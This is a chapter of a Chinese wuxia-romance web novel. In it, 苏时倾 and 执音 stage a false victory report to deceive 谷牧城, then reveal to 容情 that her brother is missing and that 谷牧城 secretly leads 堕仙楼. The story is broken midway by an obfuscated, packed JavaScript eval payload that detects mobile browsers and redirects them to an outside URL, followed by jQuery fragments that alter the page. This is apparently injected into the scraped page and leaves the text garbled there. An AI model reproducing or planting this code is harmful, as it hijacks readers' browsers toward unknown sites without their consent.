容情甚至没有折回客栈房间。
她选择了守在奢华客栈的门口,迎寒风、淋轻雨,苦等谷牧城归回。
身边也有旁人等——奢华客栈的掌柜在等,不过掌柜的等的就不只是谷牧城一个人了,是所有来来往往的恩客。
掌柜献殷勤道:“容二小姐不如会房间休息去吧?若有谷公子回来的讯息,洒家一定第一时间向您禀告。”
容情可以选择的,但仍旧谢绝了好意,心甘情愿地等。
忽地想起来客栈里头苏时倾还在,容情于是匆匆拜托:“掌柜的,客栈房里我的那位苏小师弟伤很重、状态也不好,能烦请您多多留心,照顾些他的所需。”
掌柜记得苏时倾这号人,是清净了钱囊也硬要住容情隔壁的那个难缠客人:“苏公子的状态看上去很好哇——他和碎乐坊的执音娘子,在厅内喝茶吃点心呢!”
喝茶吃点心?
容情狐疑嘟囔:“刚刚不是还吵着架么,这就和好了?”
心生奇异。理应为苏时倾感到高兴的,可瞒不住自己不痛快。
想了也想不通,稍后再见到的时候,一定要向他们问个清楚。容情换话又敦促:“掌柜的,那就给我那小师弟和执音娘子多呈些点心,茶水记得要温热的,好让他们吃得舒心。”
掌柜笑说:“好好,这就去。”
很是听从容情的差遣,也不招揽别的行客了,转过敦实的身板就朝客栈厅里头走回去。
门口剩下了容情一个人。
一个人独处的时间,是会比寻常相聚的时间漫长许多的。
容情难耐顽心,跺着绣靴踩浅浅的雨洼成涟,而后又轻轻抬脚,看一朵一朵涟花淡成镜面。
玩腻了水,容情又翘首、频频踮足盼望,等着街角某人的身影能再度重现。
感觉上过了很久,但她实际上并没有等太长时间。
谷牧城很快便回来了。风尘仆仆,身上还是那袭红袍,面上挂着笑意,看样子要紧事情处理得很顺利。
容情嫌久,却瞒着真实心想,口是心非:“这么快回来了?我以为还要到日落,你才会回来哩……”
“就怕你等我呀,”谷牧城好像在掩饰着什么,一直在打理红袍的领口,“一处理完,我就赶回来了。若让你等得累、候得苦,岂不是大过错?”
容情喃喃,等到了谷牧城回来,心头却略显寡平、喜乐缺缺:“我又不会怪你,‘等’也是我愿意的。”
谷牧城这时候不见了警敏:“你现在对我那么好,我就好像在做梦似的。”
“梦里梦外,凡是见着我,可都得当真地过。”容情任由谷牧城牵她的手,没有反抗、没有回绝,“外头冷,我们进屋去吧。”
谷牧城握着容情的手更紧,乐道:“好,依你。”
挡风的门被推开,阵阵寒气漏进厅内。
容情先跨得门槛,和谷牧城一前一后重回这间奢华客栈。
掌柜之前说的话没有作假,苏时倾执音真的和好了——唔,似乎之前关系算不上怎么好?现在应该说,是“关系进展了一大步”?
苏时倾在给执音斟茶,见到容情谷牧城手挽手进厅,便不小心将茶水倒出了茶杯外。正准备徒手去擦水渍,执音怕他烫到、又增新伤,递出了自己的绢帕。
苏时倾犹豫须臾,最后接下。
“你们在聊什么热闹的事情呢?”容情话语先至,察觉到苏时倾的目光第一次全然投注在执音那里,好像被执音讲说的趣闻轶事吸引了,十分专注地在听。
苏时倾连容情的问话都没空搭理:“执音你继续,快讲呀,哪有故事说一半、留一半的?”
好像恨不得把耳朵凑过去执音那边,苏时倾挪坐到木凳的边沿。
容情当然好奇,很想知道他们聊的什么,竟聊得那么开心。只是碍着矜持面子,她只能克制、不二度问话。面上的笑意僵僵的,她不动声色挣开了牵就谷牧城的手,直面被忽视了的失落。
她不知道这是戏码。
不知道这是苏时倾和执音事先就商量过的、目标对象是谷牧城的戏码,她全然把假戏虚饰当真。
谷牧城替容情再问:“你们在聊什么?”
终于,苏时倾和执音等到了谷牧城上钩,等到了诱捕的“猎物”入席。
苏时倾已经有过经验了,之前在冀州城杨员外府上,就曾演得很好。现下这出不需要技巧的戏码,于他而言没甚么难度。
可就是没难度的戏,叫苏时倾演得违愿又违心。
执音害怕苏时倾露破绽,趁机会去挽苏时倾的指与手,暗暗施巧力、催他别出戏。
苏时倾不情愿受执音的亲昵动作,但不能够反抗得太明显,他得把全程的戏份演完。也不知道从哪儿偷来了不属于自己的喜气:“我们在说悄悄话,你们确定要听?”
见苏时倾终于搭理自己了,容情才算搁下慌张的心,带着点点醋意、挖苦道:“什么时候关系那么好了?分明刚才……刚才还挨巴掌了不是?”
执音不给苏时倾露马脚的机会,抢先把腹稿托出:“刚才他那巴掌可挨得不冤,就是挨了我一巴掌才通窍的。”
谷牧城听了来兴致,为此多问:“噢?不知道时倾兄弟这回通的是诀窍?还是情窍呢?”
差一点就将反感流泄出来了,苏时倾带着强竞的意气,回答谷牧城的问题:“我是聪明人,诀窍和情窍自然都是一点就通。”
明明是驳斥谷牧城的话,执音那厢却诽议得快:“诀窍通得顺畅,至于情窍嘛,时倾实际还欠一些。”
容情觉着杯中的茶略苦,抿抿唇没有喝多。她不赞同执音的结论,眼神瞥过苏时倾,又议:“依我看,小师弟的情窍已经启迪不少了。”
苏时倾被议论得难受,想给容情添些点心,可手上的点心捻起后,却轮转到了执音面前的碗里去。
谷牧城像是见到了实证,乐得附和:“嗯,情妹妹说得有理有据。”
看着碗里委实难得的点心,执音没多考究,就津津有味吃下了。和苏时倾作戏的那一套不一样,她面上的开怀可是真的。
“还没告诉我们,究竟是什么话题惹得你们两个那么高兴呢?”
容情此时还不知道,自己这句着急的抢白,源自对面前互动的不忍看。
她匆匆转移话题,想将众人关注的焦点挪移到谈论的话题本身。
苏时倾和执音默契相觑,感慨这出戏码终于演到了关键之处。
执音没有忘记自己的任务,割下眷念、停下吃食,擦抹干净嘴边残留的甜,开始又一轮陈谎:“我从冀州城匆匆赶来,就是为了告诉你们——凤军清剿叛臣,已而大获全胜!”
苏时倾最后一次抬手,掩过面、掩过心虚,再扬起面容的时候,展露的尽是配合默契的喜笑。
“竟是军报?”容情听了,恍恍惚惚乍惊,“真的吗?都怪旦东城太偏僻了,又没有凤军驻扎。前线军情,我竟然知悉得这样迟。”
换成谷牧城静不下心来,开始找他面前的杯盏解渴。明明茶水早已经见底了,谷牧城还一味地喝空气。
容情察觉不出异样。
苏时倾和执音却是将这些下意识的反应看得透透的。
对于执音诉说的军报信息,容情不曾设防,自然会全部听信。但这并不是苏时倾和执音想要的最终结果,更为要紧的是——也要让谷牧城错信。
苏时倾帮衬着作伪,说后话的时候没有多瞥谷牧城一眼,表现得极尽自然:“容错将军回京镇压了不少新贵族势力。”
执音语气轻快,捏虚造妄她向来拿手:“原先有消息说‘容将军落败,被半路劫走’。其实啊,是容将军设下的真假调包、金蝉脱壳的局。刚才我和时倾正说着这件事,结果他没耐性,只听前半阙就误会了,强说着‘是假的是假的’,再听不进去后话。所以我才生气,一巴掌拍打了他。”
回忆着那时所见的巴掌,容情觉得有哪里怪怪的。
“真的吗?”总感觉执音扇打的情绪,好像要更为激烈,不似这么简单的矛盾。
但还是选择了信任执音,没再质疑。
苏时倾垂敛眸目,藏起对容错容情的无尽担忧:“容大哥就是厉害,匆匆赶路都还能想出替身这个办法,看不把叛臣贼子们打得措手不及!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367119|160449||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
听到此处,谷牧城思路被引绕,果然面上显现异样——焦灼地心急着,偏偏此时还不能够太过关切,以防暴露他那已然不是私密的二层身份。
苏时倾给边上烧着水的沸水壶又加了把火,装作随心地悠悠透露:“凤军安排了支队驻守在不远处的古御劲宗,不知道这期间又是发生了什么事?”
稍作停顿,苏时倾执音默契地同望谷牧城,又询问得齐声:“你的师门出了事,你作为弟子竟然不知情吗?”
“对啊对啊!”容情无心的搭腔搭得妙,催问的架势反而让谷牧城没了胜券在握的自信,“你刚刚说‘去处理要紧的事情’,是不是古御劲宗传讯来说出事了?”
“有困难就直说,可别瞒着我们。”
关切像负累,负心的谷牧城承接不起。
转圜间心绪飞远,谷牧城不得不强颜欢笑。他很后悔,刚刚在堕仙楼总舵的时候,怎么就犹豫了没进主殿确认一番情景再回头?
难道,真的被容错算计了?自己中计了?
谷牧城终究坐不住,又一次提出离席:“古御劲宗里头的事务我尚不清楚,看来有必要回去一趟,解开与容错将军、与凤军的误会。”
苏时倾巴不得谷牧城快走了,只是话头上还半阻半拦:“不会有事的罢?古御劲宗虽然离旦东城是不远,但少说也有百来里的路途……”
“要帮忙吗?”
容情好心想帮。执音佯装也打算动身的模样。
惹得谷牧城赶紧谢绝:“不用不用,我自己快马回去,很快的。”
怕容情不死心要跟来,谷牧城还返身催容情走它途:“情妹妹解决完了旦东城里的闲杂事,理应快快回京都去,和容错将军汇合,把阴谋查清楚才是正事。”
语落催完,谷牧城仓皇地不敢多留,拔腿就往客栈外头疾行,奔回来处。
“果然是古御劲宗出事了吧?”容情还在为谷牧城担心。
剩余的三人当然是要跟着谷牧城同去的,但不该是现在——不该是容情懵懵仍什么都不知道的现在。
苏时倾在谷牧城走后,换了座位,坐到了容情邻边儿上。一改嘻嘻笑笑的轻松状态,他和执音都改了一副肃穆面孔。
吓到了容情,容情连忙问:“果然是有更严重的事,我去叫谷牧城回来。”
“坐好,认真听我们接下来的话。”一句冰冷冷的言语,破开之前所有的假戏,向后引出血淋淋的真相。
容情停下来起身的动作,乖乖地坐端正,像极了学堂里受夫子们训斥的学生。
她难得的乖顺、真诚的好奇,令苏时倾和执音双双不忍。
可事实总是要面对的,即使要承受心上的千刀万剐、即使要忍捱体肤的挫骨磨皮,也需要她战到最后,不能落荒而逃。
苏时倾试探着挑破一点点:“谷牧城此番去的目的地,不是古御劲宗。”
容情不懂,眼睛眨巴眨巴,不明白这句简单的话意味的其他内容。
怕创伤到容情,苏时倾委婉地措辞:“男子有很多面,容情你不要太过相信、不要盲目倾心。”
慢悠悠地说?这该等到何时才能说完?
执音可没有怜香惜玉的心思,她相信容情一定能挺得过去,便直白地全把事实全撂了:
“容错去往京都的路上遭遇暗伏,凤军支队全数被攻破。”
“将军孤军作战之后音讯全无,现在生死未卜。”
“你对谷牧城生有情意,可谷牧城却把你骗得好惨呐……”
“谷牧城的真实身份,就是堕仙楼楼主。”
习惯了总听好消息,于是当犀利的隐情摆在面前的时候,容情却开始不敢信。
转头去问另一个知情人:“时倾,究竟哪些才是真的?你们还瞒我什么呢?”
结果苏时倾看着她的眼神,还更要幽幽凄怆,字字锥心地进一步往她心上捅刀:“执音后来说的都是真的,不是玩笑、不是谎。”
找不到可堪遮挡风波的安全处所,容情心痛、双眼氤氲——
唯问道:
“哥哥生死未卜,是多久之前的事情了?”